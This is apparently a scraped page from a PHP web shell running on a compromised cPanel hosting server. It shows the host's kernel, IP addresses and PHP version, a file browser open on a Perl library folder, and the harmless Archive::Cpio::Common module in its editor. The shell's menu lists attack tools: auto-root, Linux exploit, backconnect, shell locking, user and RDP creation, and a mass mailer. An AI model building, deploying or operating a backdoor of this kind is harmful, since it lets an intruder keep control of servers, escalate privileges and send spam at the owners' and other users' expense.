Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.17.174
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Archive /
Cpio /
[ HOME SHELL ]
Name
Size
Permission
Action
Common.pm
706
B
-rw-r--r--
File.pm
229
B
-rw-r--r--
FileHandle_with_pushback.pm
774
B
-rw-r--r--
NewAscii.pm
2.29
KB
-rw-r--r--
ODC.pm
1.92
KB
-rw-r--r--
OldBinary.pm
2.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Common.pm
package Archive::Cpio::Common; use Archive::Cpio::FileHandle_with_pushback; use Exporter; our @ISA = qw(Exporter); our @EXPORT = qw(padding write_or_die max begins_with); sub magics() { { "070707" => 'ODC', "070701" => 'NewAscii', "\xC7\x71" => 'OldBinary', # swabbed 070707 "\x71\xC7" => 'OldBinary', # 070707 }; } sub padding { my ($nb, $offset) = @_; my $align = $offset % $nb; $align ? $nb - $align : 0; } sub write_or_die { my ($F, $val) = @_; print $F $val or die "writing failed: $!\n"; } sub max { my $n = shift; $_ > $n and $n = $_ foreach @_; $n } sub begins_with { my ($s, $prefix) = @_; index($s, $prefix) == 0; } 1;
Close
